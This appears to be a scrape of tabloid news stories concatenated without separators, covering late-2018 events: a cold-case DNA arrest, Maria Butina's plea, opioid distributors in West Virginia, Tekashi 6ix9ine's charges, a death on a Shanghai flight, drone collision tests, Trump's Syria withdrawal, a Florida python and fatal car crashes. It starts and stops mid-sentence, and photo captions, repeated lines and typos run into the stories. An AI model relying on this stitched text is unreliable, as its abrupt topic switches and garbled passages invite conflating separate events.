case. Detectives were able to use genetic genealogical research to 'narrow profile down to a specific pool of suspects,' which included Burns. Chief Wayne Jerman of Des Moines police explained how forensics managed to matched a blood sample from the crime scene with a sample taken from the suspect four decades eariler Detectives then managed to covertly obtained DNA from Burns before matching it with DNA evidence they had on file from Martinko's killing, according to the Des Moines Register. They found a match after Burns had cut his hand and left some of his own bloody behind. Two partial male DNA profiles were developed from DNA found in the car one from blood on Martinko's clothes and another on the Buick's gear shift knob. Police Chief Wayne Jerman commended his investigators' persistence in the case and explained how new forensic techniques was about to help the investigation according to KCRG. The family credited 'the work of several generations of Cedar Rapids uniformed police and detectives in bringing Mr. Burns to justice' in a statement. 'The community can be very proud of its law enforcement, and for the tremendous comfort and support area residents have extended to our family over the 39 years since Michelle's death,' the family statement continued. 'Our heartfelt thanks to everyone.' 'The family never gave up hope that this case would be solved,' Jerman said. Days after Martinko's 1979 killing, police received more than 200 phone calls and letters from people who wanting to help, according to coverage by the Des Moines Register at the time. Countless leads were followed and hundreds of people were interviewed but the case went cold after a year - until now. Russian President Vladimir Putin claimed accused spy Maria Butina was not working for his government and said she pleaded guilty because she faced years in jail. 'I don't understand what she could confess to since she was not carrying out any government assignments,' Putin said at his end-of-the-year press conference. 'She said was under threat of 10 to 15 years in jail,' he added. 'I don't understand what they jailed her for. There are no grounds.' Russian President Vladimir Putin denied Maria Butina was working for his government Maria Butina, a gun-rights activist poses for a photo at a shooting range in Moscow, Russia. She pleaded guilty last week to a conspiracy on behalf of the Kremlin Admission: Maria Butin said 'absolutely' as she stood, flanked by attorney Robert Driscoll, and was asked if she understood what she was pleading guilty to on Thursday Butina pleaded guilty last Thursday to joining a conspiracy on behalf of the Kremlin to cultivate sources inside the Republican party before the 2016 presidential election. The 30-year-old pleaded guilty to one count of 'conspiracy against the United States' when she appeared at federal court in Washington D.C. Putin has long denied Moscow meddled in the presidential campaign. U.S. intelligence agencies found Russia interfered. 'The Russian state has never interfered and is not going to interfere into internal American affairs, including election process,' Putin said in the now-infamous July press conference in Helsinki with President Donald Trump, who backed his assertion. 'President Putin was extremely strong and powerful in his denial today,' the president said at the time. He later walked back those remarks. Butina's case has sparked fury from the Kremlin who accused the U.S. of 'torture' and comparing her ordeal to the 'medieval Inquisition.' Butina said she acted at 'the direction' of a Russian official, who was not named in court, but previously has been identified as Alexander Torshin, a Russian politician close to Vladimir Putin and who is now subject to U.S. sanctions as well as being an alleged mafia money-launderer. Maria Butina appeared in federal court Thursday; She is awaiting sentence Together they worked on what was called the 'Diplomacy Project' using her boyfriend, conservative political operative Paul Erickson, 56, to help her as she tried to use his ties with the NRA to set up the back channels. She managed to meet Donald Trump Jr., ask his father a question at an NRA-linked event, pose for pictures with top Republicans including Rick Santorum and Scott Walker, and organized a Russian delegation to the national prayer breakfast in Washington D.C in 2017. She emailed her boyfriend that they were 'coming to establish a back channel of communication' - and he emailed another unnamed person saying that 'reaction to the delegation's presence in America will be relayed DIRECTLY' to Vladimir Putin. When she got senior members of the NRA to come to Moscow she emailed her handler: 'We should let them express their gratitude now, we will put pressure on them quietly later.' The agent faces up to five years in prison and deportation from the U.S. although she will not be sentenced until well into 2019, with her next hearing scheduled for February. The government dropped a second charge of failing to register while acting as a 'foreign agent' as part of its deal. It carried the higher sentence of up to 10 years. She is the first Russian national convicted in connection with efforts to influence the 2016 elections. Crucially, she has agreed to cooperate with all federal authorities, meaning that as well as telling the FBI and other intelligence agencies how her Kremlin spy operation worked, she could provide evidence to Robert Mueller's special counsel probe - although it was not mentioned in court. In this photo taken on Friday, Sept. 7, 2012, Maria Butina walks with Alexander Torshin then a member of the Russian upper house of parliament in Moscow, Russia. Prosecutors describe Torshin as her handler Contacts: Maria Butina asked Donald Trump a question at an NRA-linked event and had social contact with Donald Trump Jr. Question time: This was the moment Maria Butina questioned Donald Trump on relations with Russia at a 2015 'freedom forum' event linked to the NRA Mueller has charged numerous Russians with hacking Democratic emails, and his probe has charged multiple officials who worked for Donald Trump with lying about their Russia contacts. 'Butina sought to establish unofficial lines of communication with Americans having power and influence over US politics,' Judge Tanya Chutkan was told. She faces up to five years in jail and a $250,000 fine, having already spent time in solitary confinement after her arrest. Although there are no sentencing guidelines for her specific crime, her lawyer, Robert Driscoll, estimated that under U.S. sentencing guidelines for similar crimes, she could face up to six months in prison. The charges against Butina were brought by federal prosecutors in Washington, and her case was unrelated to special counsel Robert Mueller's investigation into Russian interference in the 2016 election. But her cooperation deal has no limits, meaning she could also be used by Mueller's probe as a source of evidence. The six-largest drug firm in America shipped more than 3 million prescription opioids to a single pharmacy in West Virginia over the course of 10 months - averaging out to 10,000 pills a day. McKesson Corp. sent 'massive quantities' of hydocodone to the now closed Sav-Rite Pharmacy in Kermit, West Virginia, according to a congressional report that was released on Wednesday. The deliveries continued even after a McKesson warehouse in Ohio flagged the orders in 2007, added the report obtained by the West Virginia Gazette Mail. McKesson had reported to the Drug Enforcement Administration that purchases made were 'reasonable' during that period. McKesson Corp. sent 'massive quantities' of hydocodone to the now closed Sav-Rite Pharmacy in Kermit, West Virginia The shipments made to Kermit and to other southern coalfields in the state were among a dozen 'case studies' used in the report, released by the House Energy and Commerce Committee. Cardinal Health and AmerisourceBergen were also blasted by the scathing report - which also included regional suppliers Miami-Luken and H.D. Smith. The report claimed that all took part in systemic 'failures that contributed to the worsening of the opioid epidemic' by sending an 'inordinate' number of painkillers to the state. Between 2005 and 2016, McKesson, AmerisourceBergen and Cardinal Health shipped 900 million hydrocodone and oxycodone pills. More than 3million prescription opioids were delivered to West Virginia in the span of 10 months The number of those who fatally overdosed in West Virginia as a result reached the thousands. The DEA was also critiqued heavily in the report. 'Our bipartisan investigation revealed a number of alarming failures by the DEA and drug distributors to address the opioid epidemic,' said Representative Greg Walden, R-Oregon, the committee's chairman. McKesson had reported to the Drug Enforcement Administration that purchases made were 'reasonable' during that period 'In instances identified by the report, [the] DEA and the drug distributors did not meet their obligations, and played a part in contributing to our nation's opioid crisis.' Included in the report was a transcribed interview with Dr. Joseph Mastandrea, board chairman of Miami-Luken, where he referred to the shipments sent to the small town as an 'abomination.' Only Miami-Luken has accepted any wrongdoing for the prescriptions, while the other four have denied any wrongdoing. On Wednesday, Cardinal Health said it would 'continue to implement rigorous anti-diversion controls,' adding that it was an 'intermediary' in the supply chain. AmerisourceBergen added: 'The comparatively few examinations of AmerisourceBergen's actions primarily focus on due diligence surrounding physicians. 'AmerisourceBergen has virtually no interaction with physicians and limited legal ability to gather information on their practices and prescribing behavior.' Tekashi 6ix9ine faces further trouble after a judge in Houston issued a warrant for his arrest even though he remains in custody in New York on federal racketeering charges. The Brooklyn-born rapper was accused of having an altercation with a 16-year-old boy at a local mall earlier this year. TMZ reported that Tekashi and the boy, ultimately after he showed up for one of Tekashi's hearings and made it clear he did not want him to be prosecuted. Scroll down for video Tekashi 6ix9ine (pictured) faces further trouble after a judge in Houston issued a warrant for his arrest even though he is in jail in New York on federal racketeering charges However the judge still issued a bench warrant for his arrest after he failed to show at a hearing in Houston on Thursday. Last month the rapper and members of his entourage were indicted by prosecutors in New York and arrested in connection with accusations of racketeering linked to drugs, shootings and armed robberies. Now he faces further woes as TMZ reported that the FBI are now investigating the rapper for his possible involvement in the attempted shooting of fellow rapper Chief Keef. Prosecutors are currently reviewing evidence to see if it might lead to any additional charges. 6ix9ine may have implicated himself in a leaked video, which shows him on a FaceTime call with Chief Keefs cousin, Tadoe, asking if hes going to be at Keefs New York hotel. When the call ends, 6ix9ine brags about placing a $30,000 bounty on Tadoe. The footage is reportedly a key piece of evidence cops are looking at. 'I got a 30 pack on him right now, bruh,' 69 says in the clip. 'I swear to God I got a 30 pack'. Tekashi has been linked to the attempted shooting of the rapper Chief Keef (pictured) in July as cops have video where Tekashi threatens him Footage obtained by TMZ shows the rapper threatening Chief Keef while speaking to his cousin Tadoe on the phone When the call ends, 6ix9ine (pictured) brags about placing a $30,000 bounty on Tadoe The US Attorneys Office for the Southern District of NY and NYPD have declined to tell to TMZ whether 6ix9ine is under investigation. 6ix9ine is already facing six federal charges, including racketeering and discharging a firearm while committing a crime. Authorities claim he was involved in conspiring to commit armed robberies, drug deals, and shootings. His trial date has been set for September 4. Meanwhile, his album Dummy Boy remains in the top 10 on the Billboard 200. It slides 3-8 with 43,000 copies in the week ending December 13. Chicago rapper was reportedly shot at outside a New York City hotel in June this year. Tekashi 6ix9ine is seen at Brooklyn Criminal Court in November after he was s charged with misdemeanor assault for tightly gripping an NYPD officers's hand Tekashi remains in custody in a New York detention center as he awaits trial on federal racketeering charges linked to drugs, shootings and armed robberies The incident occurred in front of the W Hotel in Times Square when a gunman fired shots at the building The shooter did not strike at Keef, 22, whose legal name is Keith Cozart, but instead struck signage. Last month, Tekashi was indicted in Manhattan federal court, where prosecutors alleged that he was part of a violent gang known as Nine Trey Gangstas Bloods, according to NPR. Prosecutors claimed they have video proof of the 22-year-old-rapper being involved in some of the crimes. Filed documents allegedly contain images of Tekashi, his ex-manager Kifano 'Shotti' Jordan (aka Tr3way) and 'other crew members' pulling armed robberies and shootings according to TMZ. Tekashi 6ix9ine was discharged from the Metropolitan Detention Center in Brooklyn last month, just days after a grand jury indicted him and five other members of the Nine Trey Gangsta Bloods on racketeering charges Police reportedly obtained videos from phones belonging to the rising star and matched them with surveillance videos of an April 3 armed robbery in Times Square. The documents allegedly prove Shotti caused the robbery, and 'cops believe Tekashi watched from the street and recorded video' according to the website. Another incident listed in the indictment took place on April 21, when Fuguan Lovick, an associated of Tekashi, allegedly shot at a rival inside the Barclays Center in Brooklyn. No one was injured in the shooting. Prosecutors also allege that on July 16, an innocent bystander was shot when one of Tekashi's associates aimed at an individual alleged to have been disrespectful to Nine Trey. Tekashi seen here with his glamour model girlfriend Jade (right) earlier this year. He sent her girlfriend Jade a custom-designed watch for her 22nd birthday Prosecutors filed the documents in order to for Tekashi to be held without bail. Tekashi pleaded not guilty to federal racketeering and firearms charges in New York in November. A pre-trial conference is set for January 22 and the trial is scheduled for September. Tekashi 6ix9ine has had several recent run-ins with the law. In late October, he was sentenced to four years' probation and 1,000 hours of community service after he admitted to participating in the creation and dissemination of a sex tape involving an underage teen. Prosecutors initially agreed to a plea deal in which Tekashi was given probation, but he then violated the terms of his probation by getting arrested twice. Tekashi was arrested in Houston and charged with misdemeanor assault earlier this year after he allegedly grabbed a teenager by the neck and demanded that he erase a video he had recorded with a cell phone, according to The New York Times. In May, he was arrested in Brooklyn for allegedly driving with a suspended license. Both of those cases are pending. The family of an Iraq war veteran from Long Island are demanding answers, nearly two weeks after the man boarded a flight bound for China and mysteriously passed away before the plane landed in Shanghai. Retired National Guard Lt Col Norman Easy, 57, who for the last eight years had served as director of procurement at Siemens Health Diagnostics, traveled to Shanghai on December 7 to close what his family described as a 'ground-breaking' deal that had been more than a year in the making. The married father-of-four was set to arrive in Shanghai on the evening of December 8, but his wife, Nitxia, did not get a call from him telling her that he landed safely, which was unlike him and set off alarm bells. Retired National Guard Lt Col Norman Easy, 57, died on a flight from New York to Shanghai (pictured in China during previous trip, right) on December 7 Easy was on board a China Eastern Airlines flight when he passed away, either three hours or 30 minutes before landing After failing to reach her husband on his cellphone, Mrs Easy contacted his colleagues in Shanghai, one of whom went to the police and was told that a person matching Norman's description had died on an incoming flight, as New York Post first reported. A call to the US Consulate General in Shanghai confirmed that the retired National Guardsmans sudden passing. Easys family, including his widow and eldest son, 28-year-old Marcus Easy, told the paper the consulate has given them conflicting information about the circumstances surrounding Normans death, and so far no cause of death has been released. In one version of events, Norman passed away three hours before the plane touched down in Shanghai, or about 12 hours into the flight. In another, he died just 30 minutes before landing. Nearly two weeks later, Easy's widow, Nitxia (left and right) and their four children still don't know what happened to the father-of-four His eldest son said Chinese officials have refused to release his father's body unless the family agree not to contest an official account of his death According to Marcus, Chinese officials have refused to release his father's body to the family for burial unless they agree not to contest an official account of his death. There is a fear that his body is not being taken care of, or being tampered with, and evidence is being tampered with, he said. DailyMail.com on Thursday reached out to the US State Department, China Eastern Airlines and the Chinese Embassy in Washington DC seeking a comment on the traveler's death. According to his LinkedIn profile, Easy has college degrees in engineering and liberal arts, as well as an MBA in military management from TUI University, which he earned in 2009. He joined the US Army National Guard in 1983 and retired in May 2011 as deputy brigade commander, after serving two tours of duty in Iraq. In recent years, he worked for Siemens Health Diagnostics Easy was on his way to Shanghai to close a major business deal that had been more than a year in the works He joined the US Army National Guard in 1983 and retired in May 2011 as deputy brigade commander, after serving two tours of duty in Iraq. A call to his widow at the family's home in Freeport, New York, went unanswered late Thursday afternoon. Advertisement This shocking footage shows the potential danger posed by a small drone if it crashes into a passenger jet by puncturing a hole in the aircraft's wing. Experts from the University of Dayton Research Institute's Impact Physics lab simulated a collision between a drone and an aircraft wing under test conditions. The footage shows the drone punch through the outer skin of the aircraft's wing as it disintegrates. Experts at the University of Dayton Research Institute's Impact Physics Lab simulated the damage caused by a drone involved in a high-speed collision with an aircraft wing The footage showed the drone breaks up on impact put it punctures a hole in the aircraft's outer skin, pictured Experts fear that even an impact between a small drone and a passenger aircraft could lead to a catastrophe Such an impact on take off or landing could potentially lead to serious control issues endangering the safety of the aircraft and those on the ground. The drone appears to punch a grapefruit-sized hole into the wing - into an area many aircraft use to carry part of their fuel supply. Officials at Gatwick Airport shut their runway around 9pm on Wednesday after they received reports of at least two drones operating in the area of the aerodrome. They immediately suspended flight operations disrupting the travel plans of more than 100,000 people. Police and army units are currently searching for the rogue drone operators as Gatwick has warned passengers against travelling to the airport tomorrow, which is one of the busiest travel days of the year. Defence Secretary Gavin Williamson announced the military have been brought in to assist police in finding the drones. He wrote on Twitter: 'The armed forces have a range of unique capabilities and this isn't something we would usually deploy but we are there to assist and do everything we can so that they are in a position to open the airport at the earliest opportunity.' The number of near-misses involving drones and manned aircraft have increased dramatically over the past three years. The UK's Airprox Board which monitors air safety incidents said in 2014 there were six reports rising to 120 reports so far this year - not including the Gatwick incident. A drone hit a small charter plane in Canada in 2017; it landed safely. In another incident that same year, a drone struck a U.S. Army helicopter in New York but caused only minor damage. Airline pilot Patrick Smith of askthepilot.com said: 'This has gone from being what a few years ago what we would have called an emerging threat to a more active threat. A Boeing 737-800, pictured, suffered damage to its nose on approach to Tijuana airport in December 2018 from a drone Officials were trying to confirm whether the damage was caused by a drone or where another object such as a bird hit the jet Mechanics were forced to remove seconds of the aircraft's nose cone which was damaged shortly before landing 'The hardware is getting bigger and heavier and potentially more lethal, and so we need a way to control how these devices are used and under what rules.' John Cox, former airline pilot and now a safety consultant warned drones posed a greater threat to smaller aircraft and helicopters but could cause problems with a passenger jet. In a small aircraft the drone could smash through the windscreen into the pilot's face. It could also be sucked into an aircraft's engine or damage the rotor of a helicopter. Mr Cox said: 'On an airliner, because of the thickness of the glass, I think it's pretty unlikely, unless it's a very large drone.' A study by the US Federal Aviation Authority warned drones posed a greater risk than birds to aircraft as the drones carried batteries and motors which could cause more damage than a bird's bones. Marc Wagner, CEO of Drone Detection Sys in Switzerland said jamming systems could disrupt a drone, but such technology is illegal in Britain. He said Dutch police trained eagles to swoop down on drones and knock them out of the sky near aerodromes or large concerts, but the program was ended as the birds did not always follow orders. According to Wagner: 'The only method is to find the pilot and to send someone to the pilot to stop him.' British authorities are planning to tighten regulations by requiring drone users to register, which could make it easier to identify the pilot. But Wagner warned: 'If somebody wants to do something really bad, he will never register.' President Donald Trump's sudden decision to withdraw U.S. troops from Syria didn't only take the nation by surprise senior officials including the chairman of the joint chiefs of staff weren't a part of it. The president, who spoke this spring about pulling out of Syria, decided on an immediate withdrawal at a small meeting at the White House Tuesday, the Washington Post reported. Attending were the secretaries of defense and state. But Gen. Joseph F. Dunford Jr., the chairman of the Joint Chiefs of Staff, wasn't there. He only learned about the decision after the fact, the paper reported. U.S. Chairman of the Joint Chiefs of Staff Joseph Dunford was blindsided by Trump's Syria decision, according to a report Allies and coalition members also did not get a head's up in advance. Trump on Tuesday morning declared the battle against ISIS had been won, although the Pentagon has said 30,000 ISIS forces remain in Iraq and Syria. He also didn't consult with congressional leaders, who by law must be notified when the president introduces troops overseas. Trump's decision also was made over the recommendation of his Defense Secretary, Gen. James Mattis, and secretary of state Mike Pompeo. MILITARY EFFICIENCY: President Trump decided to pull out of Syria Tuesday, according to a report, and announced the decision on Twitter Wednesday morning Defence Secretary Jim Mattis is strongly opposed to the pullout, according to Sen. Lindsey Graham of South Carolina INVITED! Secretary of State Mike Pompeo attended the small meeting where Trump decided to pull troops out of Syria ON BOARD: Russian President Vladimir Putin said Trump's decision was 'good.' It leaves Russia as a remaining military power in Syria, having backed dictator Bashar al-Assad Trump declared victory in Syria over ISIS on Wednesday morning in a surprise announcement that the U.S. was pulling troops out of the region GOP Rep. Adam Kinzinger disputed the president's claim that ISIS had been defeated Mattis 'firmly' believes that 'the job in Syria is not yet done,' South Carolina Sen. Lindsey Graham, who spoke to Mattis after the announcement, told CNN. 'Secretary Mattis is firmly in the camp of the job in Syria is not yet done. That abandoning the Kurds now will hurt us down the road," Graham added, 'that ISIS could and probably will come back. And I think that's the universal view of both Pompeo and Mattis,' he added. Trump's national security advisor John Bolton also cautioned against a rapid withdrawal, according to the report. The Tuesday timeline may be contradicted by what Israeli Prime Minister Benjamin Netanyahu wrote on Twitter. He wrote: 'I spoke with Donald Trump on Monday and with @SecPompeo yesterday. The US administration told me that it is the President's intention to withdraw their forces from Syria. They made it clear that they have other ways of expressing their influence in the area,' Netanyahu wrote, in language that maintained the possibility that Trump told him about the pullout before failing to tell his top general Tuesday. As the elected commander in chief, Trump is not required to listen to his generals. But having taken the decision essentially on his own, and having proclaimed the defeat over the terror group that shot across Iraq and Syria, Trump won't have the benefit of shared buy-in if things turn out badly. House minority leader Steny Hoyer told CNN Thursday the decision was "impulsive, irresponsible and dangerous." Hoyer added: 'And I would hope that the president would reconsider. The only people happy today about this decision in my opinion are the Syrians, the Iranians, the Russians and ISIS and its allies," Hoyer said. Russian President Vladimir Putin on Thursday called it a 'good' decision, and said the U.S. presence in Syria, where Russia backs dictator Bashar al-Assad, was 'illegitimate.' Sen. Bob Corker, the chairman of the Senate Foreign Relations Committee, also slammed the decision and wasn't consulted about it. President Donald Trump harangued the Republican senator leading the charge against his Syria withdrawal in a tweet on Thursday in which he suggested the defense hawk is against saving soldiers' lives. 'So hard to believe that Lindsey Graham would be against saving soldier lives & billions of $$$. Why are we fighting for our enemy, Syria, by staying & killing ISIS for them, Russia, Iran & other locals? Time to focus on our Country & bring our youth back home where they belong!' he tweeted. Sen. Lindsey Graham has grown close to Trump, but on foreign policy they continue to have sharp differences. Graham angrily called the pull-out an 'Obama-like mistake' and said that lawmakers should have been consulted on the policy he called a 'stain on the honor of the United States.' 'I dont know how this decision was made, it literally came out of left field,' he told Capitol Hill reporters on Thursday. 'It has rattled the world.' President Donald Trump harangued the Republican senator leading the charge against his Syria withdraw in a tweet on Thursday in which he suggested the defense hawk is against saving soldiers' lives Sen. Lindsey Graham has grown close to Trump, but on foreign policy they continue to have sharp differences The senator who sits on the Armed Services Committee in the United States Senate said that Secretary of Defense James Mattis told him on Wednesday when they spoke that 'the time was not right to leave' the war-torn country, where forces are still fighting fundamentalists. He said in a floor speech that Trump's claims that ISIS has been defeated are the definition of 'fake news' borrowing on a term that Trump loves to use to bash negative coverage of his policies. 'This is a stain on the honor of the United States,' Graham said in charged language. 'I hope and pray the president will reconsider this. I know that every national security adviser understands that the time is not right to withdraw.' The senator from South Carolina said Thursday in a direct appeal to the nation's commander-in-chief 'I will help you any way I can' but 'Im not going to ignore what I believe.' 'I'm going to give you an honest evaluation. I was willing to support a Democrat if he followed sound military advice. Im willing to fight a Republican if you dont,' he cautioned. The president on Twitter on Thursday morning had defended his sudden announcement to pull U.S. troops out of Syria. He warned ISIS it was 'doomed!' if the terror group hit at the U.S. Trump issued the warning just hours after proclaiming 'we have defeated ISIS in Syria.' He also said Russian, Iranian, and Turkish forces who remain would continue to battle ISIS. Despite the president's claim the military assesses thousands of ISIS fighters remain. In a barrage of tweets Trump also said the U.S. was getting 'NOTHING' out of being in Syria, where last year the president ordered air strikes to respond to President Bashar al-Assad's use of chemical weapons. The president's pushback against critics comes after members of his own party blasted the sudden announcement he made Wednesday morning, disputed his claims that the U.S. had defeated ISIS, and warned regional powers Russia, Iran, and Turkey stood to gain at U.S. expense. 'Getting out of Syria was no surprise. Ive been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer,' Trump wrote. 'Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing?' Trump asked while defending his Syria pullout Thursday 'Russia, Iran, Syria & others are the local enemy of ISIS. We were doing there work. Time to come home & rebuild.' He completed his tweet on the withdrawal of U.S. forces with his '#MAGA' slogan and hashtag. Trump has called for getting out of Syria, including last spring, but his sudden Twitter announcement caught senior Pentagon officials off guard, along with senior lawmakers who are accustomed to getting briefed on major policy decisions and changes in the nation's strategic posture and who must be consulted when troops are deployed. The foreign ministry of Russia, a rival to U.S. interests in a number of troubled areas, praised the pullout decision, and Russia is proceeding to make its own presence there permanent. Russian President Vladimir Putin said Thursday the U.S. decision to pull out was 'correct,' fueling fears on Capitol Hill that the withdrawal was a Christmas gift to Russia. The president also wrote in a pair of tweets: 'Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever? Time for others to finally fight....Russia, Iran, Syria & many others are not happy about the U.S. leaving, despite what the Fake News says, because now they will have to fight ISIS and others, who they hate, without us.' The Pentagon says 30,000 ISIS forces remain in Iraq and Syria, with 17,000 in Syria proper. Trump declared victory in Syria over ISIS on Wednesday morning in a surprise announcement that the U.S. was pulling troops out of the region 'I am building by far the most powerful military in the world. ISIS hits us they are doomed!' the president warned. Lawmakers slammed Trump's decision, although the president tweeted out support from Sen. Mike Lee of Utah. Senate Foreign Relations Chairman Bob Corker said Wednesday: 'It doesnt feel to me there was any inter-agency process, adding, 'Im not sure even the principles knew.' Corker suggested that Trump just 'woke up' and decided to make the policy announcement. The Tennessee Republican is leaving Congress for good at the end of this year and is effectively a lame duck. His complaints were shared by other lawmakers, however, who begged Trump to rethink his position. Texas Sen. John Cornyn, the GOP whip, asaid it was a 'mistake' to leave Syria and the matter would most certainly be investigated by the upper chamber. 'I think the first mistake was to surprise Members of Congress. Nobody likes to be surprised,' he told CNN. Graham also chided Trump for announcing the withdrawal on Twitter. 'Withdrawal of this small American force in Syria would be a huge Obama-like mistake,' he tweeted. President Trump defended his pullout in a series of tweets Trump said Russia and others are 'not happy' the U.S. was going He said his announcement, which caught senior military officials off guard, was 'no surprise' Trump quoted allies Sens. Mike Lee and Rand Paul This April 2, 2018 photo shows a general view of a US military base in the al-Asaliyah village, between the city of Aleppo and the northern town of Manbij. The United States is preparing to withdraw its troops from Syria, a major move that throws into question America's role in the region A U.S. Air Force munitions team member uncases the laser-guided tip for a 500 pound bomb to be loaded onto an unmanned aerial vehicle (UAV), for airstrikes on ISIL targets on January 8, 2016 at a base in the Persian Gulf Region Syrian Democratic Forces and U.S. troops are seen during a patrol near Turkish border in Hasakah, Syria November 4, 2018 Sen. Marco Rubio likewise said the withdrawal is a 'great disservice' to the nation and a 'big mistake' that invites 'America's adversaries America is an unreliable partner.' 'Todays decision will lead to grave consequences in the months and years to come,' the Republican senator cautioned. Illinois Rep. Adam Kinzinger meanwhile disputed the president's claim that ISIS had been defeated. 'This is simply not true,' Kinzinger wrote. 'Iran is rejoicing right now. We left Iraq, and had to come back. I would sure hope the President and his advisers are smarter than this.' Kinzinger said on CNN later that he was 'speechless' and that terrorists would be 'emboldened' by the withdrawal. 'This makes no sense to me,' he said. 'I don't get it.' Responding directly to complaints that legislators were informed after the fact, a senior administration official told reporters on a call on Wednesday afternoon, 'The president's views have been well known, so I really don't see this as a surprise.' The official said that the comparison that Graham and others were making to Obama's withdrawal of U.S. troop from Iraq in 2011 was 'apples to oranges,' because the drawdown was much larger and came about as a result of a failure to come to an agreement with the Iraqi government about leaving troops in the country. 'The president has judged that the purpose for which those troops have been put into Syria has been accomplished to the point where they can reposition,' the person said. As for Sen. Graham, the senior official said, 'He is entitled to his opinion' but it's unreasonable to think that the U.S. is going to turn 'Syria into a utopian democracy' nor is that the goal of the president.' A huge 18 foot long python weighing 150 pounds is said to have broken records in Florida after it was caught roaming in the Everglades. Hunter John Hammond caught the snake, which has since been euthanized, as part of the Python Elimination Program. The wildlife trapper took 45 minutes to snare the beast after letting it tire itself out before dragging it to his truck. It is said to be the largest snake that has been caught since the program started, Fox 35 reports. Scroll down for video. John Hammond caught the huge 18 foot long python weighing 150 pound in Florida The wildlife trapper, not pictured, took 45 minutes to snare the beast after letting it tire itself out before dragging it to his truck as part of the Python Elimination Program Hammond told the station: 'I ran down, grabbed it by the head. When I did that, it constricted me from the waist down, which was the plan. 'The snake bags were too small. I had a tent bag in the truck. I coaxed it into the tent bag, and then the tent bag into a gang box.' Python hunters are said to have caught more than 1,850 of the snakes in the area after they started to wreak havoc on Floridas ecosystem. The were bought to the state in the 1970s as pets and can grow up to 20 feet long. The Florida Fish and Wildlife Commission allows for Burmese pythons to be killed without a permit or hunting license. They say people are more likely to see pythons during the day during the cooler months. The hunters get paid to catch the snakes and Hammond pocketed $450 for this one Hammond is now planning to skin the python for leather after pocketing $450 for capturing the snake. He added: 'They've eaten-up the marsh rabbits, the small mice and stuff, and everything that normally eats them is impacted because they can't.' The previous record was reportedly held by a 17 foot five inch, 120 pounds, female python captured by Kyle Penniston just last month. Hunters are paid based on how long the snake is or if snake nests with eggs. Minnesota woman Rachel Kayl, 33, was sentenced to 10 years probation on Wednesday in the 2016 car crash murder of two 16-year-olds A Minnesota woman broke down in tears when she was told she'd serve no jail time for the car crash murder of two 16-year-old girls in 2016. Rachel Kayl, 33, looked distressed and tearful at her sentencing hearing on Wednesday. District Judge Thomas Gilligan sentenced her to one year in the Ramsey County Workhouse and 10 years probation. The Maple Grove woman was handed a stayed prison sentence meaning she must abide by the rules of her probation or else shell spend a decade behind bars, according to the Grand Forks Herald. The start date for her sentence has been pushed back a year as the Judge and doctor assess how the workhouse can accommodate for her physical and psychological conditions that she allegedly suffers from. Kayl faced the family and friends of her victims 16-year-old girls Stephanie Carlson and Bridget Giere. Both died after she crashed into them at 80mph as they were driving to school on December 1, 2016. Kayl cried as she read a statement saying: 'There are no words. Parents should never have to bury their own children' She was sentenced to one year in the Ramsey County Workhouse and 10 years probation She crashed her Chevy Trailblazer SUV into a car carrying the teenagers as they were driving to Mounds View High School at 7am in Arden Hills. The girls were passengers in the car where classmate Samantha Redden was behind the wheel and was making a left-hand turn from a westbound road when Kayls eastbound car smashed into them at 80mph in a 50mph lane. Kayl was driving 30mph faster than the speed limit. Redden suffered a collapsed lung, traumatic brain injury, injury to her spleen and major blood loss in the crash. Carlson and Giere died in the accident. Kayl pleaded guilty to two counts of vehicular homicide and one count of criminal vehicular operation in September. Family of the victims shared impact statements at the Wednesday sentencing hearing. 'No family should have to go through this hell,' Steven Carlson, Stephanie's dad, said. Victims: In the car crash on December 1, 2016 she killed 16-year-old girls Bridget Giere and Stephanie Carlson (above) 'No family should have to go through this hell,' Steven Carlson, victim Stephanie Carlson's dad said at the Wednesday sentencing 'We all miss you Steph, love dad,' he added. 'Our family is like a jigsaw puzzle with a missing piece,' Marilee Giere, Bridget's mom, said. Kayl apologized to the family and friends of the victims saying that she cant describe her guilt. 'There are no words. Parents should never have to bury their own children I think about the girls the dreams they will never fulfill,' she said. 'No matter what happens today I will carry the guilt of that day and the deaths with me forever. I would give anything to go back in time to slow my speed so that Stephanie and Bridget could be here with us today,' she said, according to KSTP. Kayl was driving her Chevy Trailblazer SUV at 80mph - 30mph above the speed limit - when she hit the girls as they were driving to school on December 1, 2016 The two girls died in the crash. Another teen Samantha Redden, also then 16, was behind the wheel and suffered a collapsed lung and traumatic brain injury in the crash 'I beg other drivers to slow down...The two minutes you save arent worth it,' she added. Before her guilty plea in September, Kayl's defense attorney spent months defending her saying that Redden's failure to yield to Kayl - who had a green light at the time - resulted in the crash. However, that notion was dismissed on Wednesday as Assistant Ramsey County Attorney Hassan Tahir said Redden yielded to five vehicles before Kayl. 'Samantha Redden did absolutely nothing wrong,' Tahir said calling her survival of the crash a miracle in itself. Her attorney Adam Johnson and the state agreed on a punishment of probation rather than prison, as she wasn't under the influence of drugs or alcohol during the crash. She also didn't flee the scene and has no previous criminal record. Two British children face being stranded 11,000 miles away in New Zealand over Christmas after a head-on car crash killed their mother and left her wife severely injured. Ben and Olivia Sargent, aged six and nine, were enjoying a dream holiday in New Zealand with their parents Kerry and Jules Sargent. But while going for a night out for dinner with friends, Kerry, 42, from Gloucester, was tragically killed in a devastating road smash near Whangarei, north of Auckland, while Jules, 49, suffered life-threatening injuries. The children, who were left hanging upside down in the wreckage of the overturned vehicle, have been left badly traumatised by the crash, but escaped serious physical injury. Jules is battling to recover but is not well enough to return to Britain meaning the family is stranded in the country. Ben and Olivia Sargent, aged six and nine, were enjoying a dream holiday in New Zealand with their mothers Kerry (left) and Jules Sargent (right). Tragedy struck when they were involved in a head-on collision which killed Kerry and left Jules seriously injured Kerry, who was a front seat passenger in one of two vehicles that rolled in the crash on October 20, died at the scene. Another woman, Mary Peneamena, 65, from Auckland, was killed in the second vehicle. Jules is undergoing gruelling physiotherapy before doctors can assess whether she is fit enough to take the children on their long journey home. The two children, who were not seriously injured in the crash, now have to spend their Christmas in Whangarei and are to be schooled in New Zealand while their mother recuperates. Grief-stricken Olivia and Ben are said to be 'traumatised' by the crash and are being cared for by friends. Ben has told his mother he can't remember the good times before the crash. A GoFundMe page has been set up in a bid to raise 10,000 and help the family create some 'magical moments that they can all look forward to'. Olivia, 